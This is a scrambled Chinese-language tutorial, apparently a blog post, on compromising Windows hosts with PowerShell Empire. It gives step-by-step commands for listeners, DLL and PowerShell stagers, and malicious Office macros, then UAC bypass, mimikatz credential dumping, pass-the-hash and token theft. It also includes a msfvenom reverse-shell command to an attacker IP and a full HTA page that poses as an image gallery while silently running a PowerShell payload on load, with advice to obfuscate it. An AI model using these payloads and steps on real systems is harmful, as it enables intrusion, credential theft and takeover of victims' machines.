Empire運行在Linux平臺下,安裝命令以下:javascript
git clone https://github.com/EmpireProject/Empire.git //這樣容易失敗,建議直接去連接處下載壓縮包解壓進行後續使用 cd /Empire/setup/ ./install.sh
./empire
modules
即自身的一些模塊listernes
即監聽,相似msf
的exploit/multi/handler
模塊agents
即已經連接上的會話,相似msf
所存的session
輸入help
查看使用幫助
html
listeners
進入監聽線程界面uselistener
後按一個空格在敲兩下TAB鍵
列出可供使用的監聽器,這裏咱們選擇http
info
Host
和Port
(即監聽使用的ip和端口)已是咱們攻擊方的IP和端口了,只須要修改Name
便可set Name test
execute
back
-list
查看設置好的監聽器Metasploit
裏的Payload
,Empire中有多個模塊化的stager
usestager
後按一個空格在敲兩下TAB鍵
設置採用的模塊(能夠看到支持linux、Windows、osx)usestager windows/dll
dll木馬info
查看參數設置Name
參數:set Name test
(注意這裏的名字要和監聽器的名字同樣!)execute
執行後會看到在tmp
目錄下生成了一個launcher.dll
文件,該文件在目標主機上能夠經過webshell運行,運行後empire這邊就會成功上線。back
後輸入launcher <language> <listenerName>
生成一行base64編碼代碼(即生成一個Payload),將生成的這段代碼在裝有powershell的目標機上執行,就會獲得這個主機的權限。macro
載荷
macro
載荷tmp
目錄中名稱爲macro
,打開咱們能夠發現該載荷使用PowerShell的編碼命令進行了轉換,就像咱們用launcher powershell tc
生成payload,再進行VBA代碼的轉換。視圖
-宏
,點擊建立
後,在VB編輯界面將裏面已有的代碼刪除,而後,將剛纔用Empire生成的宏複製粘貼進去。否
,接着咱們保存爲97-2003
格式便可。未啓用宏
,點擊啓用宏內容
後,ok上線成功!rename 43SY8BVU tc
interact tc
sc
sysinfo
bypassuac test
,等幾秒鐘,就會返回一個更高權限的shell,再次輸入agents
,發現當前靶機主機名前帶有一個*
,表示提權成功!mimikatz
(神器mimikatz介紹)這裏主要是抓取靶機的用戶名和密碼msfvenom
簡單編碼生成一個木馬:msfvenom -p windows/x64/meterpreter/reverse_tcp_rc4 LHOST=192.168.88.130 LPORT=5330 -a x64 -f exe -o test.exe
usestager windows/dll
模塊ps
查看進程background
後臺運行會話use post/windows/manage/reflective_dll_inject
run
bypassuac test(監聽名稱)
mimikatz
獲取系統密碼,執行完畢後輸入creds
命令查看Empire列舉的密碼pth CredID號
steal_token PID號
ps
咱們能夠找到該進程launcher powershell test
生成一段powershell代碼上面代碼插入如下代碼塊中java
<html> <head> <title>weibo@flagellantX</title> </head> <script type = "text/javascript"> var index= -1; var images = ["base64代碼段"]; function initGallery () { window.resizeTo (300,300); htaPayload (); nextPicture (); }; function nextPicture () { var img; index = index + 1; if (index > images.length -1) { index = 0; } img = document.getElementById ("gallery"); img.src = images [index]; }; function htaPayload () { var payload="PowerShell代碼段"; try{ if(navigator.userAgent.indexOf("Windows") !== -1){ new ActiveXObject("WScript.Shell").Run("CMD /C START /B " + payload, false); } } catch(e){ } }; </script> <style> #gallery, div { width: 100%; height: 100%; } #outer { text-align: center; } #inner{ display: inline-block; } body { background-color: black; } </style> <body onload = "initGallery ()"> <div id = "outer"> <div id = "inner"> <img id = "gallery" onclick = "nextPicture ()"> </div> </div> </body> </html>
Script Encoder
程序打開,選用HTML/ASP+Scripts
,點擊Convert
。在右邊框,造成腳本代碼。以後咱們打包出一個.hta
的可執行文件,在目標主機上運行,輕鬆在Empire上線
linux
參考資料git